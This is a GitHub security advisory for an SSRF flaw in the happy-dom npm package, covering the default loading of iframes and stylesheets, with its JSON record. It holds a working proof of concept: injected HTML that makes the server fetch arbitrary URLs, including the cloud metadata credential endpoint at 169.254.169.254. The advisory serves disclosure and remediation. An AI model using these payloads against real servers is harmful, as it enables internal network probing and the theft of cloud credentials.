GHSA-C8P4-J97H-3VG8
Vulnerability from github – Published: 2026-10-28 21:06 – Updated: 2026-10-28 21:06Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
- happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
- disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
- disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
Impact
- Cloud credential theft —
<iframe src="http://169.254.169.254/...">fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports
- Data exfiltration — read responses from internal APIs
- Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 20.14.6"
},
"package": {
"ecosystem": "npm",
"name": "happy-dom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-118660"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:06:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `\u003ciframe\u003e` or `\u003clink rel=\"stylesheet\"\u003e` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom \u003c= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` \u2014 iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` \u2014 `\u003clink\u003e` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require(\u0027http\u0027);\nconst { Window } = require(\u0027happy-dom\u0027);\n\n// Start attacker server\nconst srv = http.createServer((req, res) =\u003e {\n console.log(`SSRF HIT: ${req.method} ${req.url}`);\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/html\u0027});\n res.end(\u0027\u003chtml\u003e\u003cbody\u003estolen\u003c/body\u003e\u003c/html\u003e\u0027);\n});\n\nsrv.listen(9995, () =\u003e {\n // iframe SSRF \u2014 happy-dom makes a real GET request\n const win1 = new Window({ url: \u0027http://localhost\u0027 });\n win1.document.write(\u0027\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://127.0.0.1:9995/iframe-ssrf\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n // stylesheet SSRF \u2014 happy-dom makes a real GET request\n const win2 = new Window({ url: \u0027http://localhost\u0027 });\n win2.document.write(\u0027\u003chtml\u003e\u003chead\u003e\u003clink rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require(\u0027happy-dom\u0027);\nconst win = new Window({ url: \u0027http://localhost\u0027 });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write(\u0027\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n```\n\n## Impact\n- **Cloud credential theft** \u2014 `\u003ciframe src=\"http://169.254.169.254/...\"\u003e` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** \u2014 probe internal services and ports\n- **Data exfiltration** \u2014 read responses from internal APIs\n- **Affects any server-side use case** \u2014 web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true, // change from false\ndisableCSSFileLoading: true, // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.",
"id": "GHSA-c8p4-j97h-3vg8",
"modified": "2026-10-28T21:06:42Z",
"published": "2026-10-28T21:06:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/pull/2502"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"
},
{
"type": "PACKAGE",
"url": "https://github.com/capricorn86/happy-dom"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.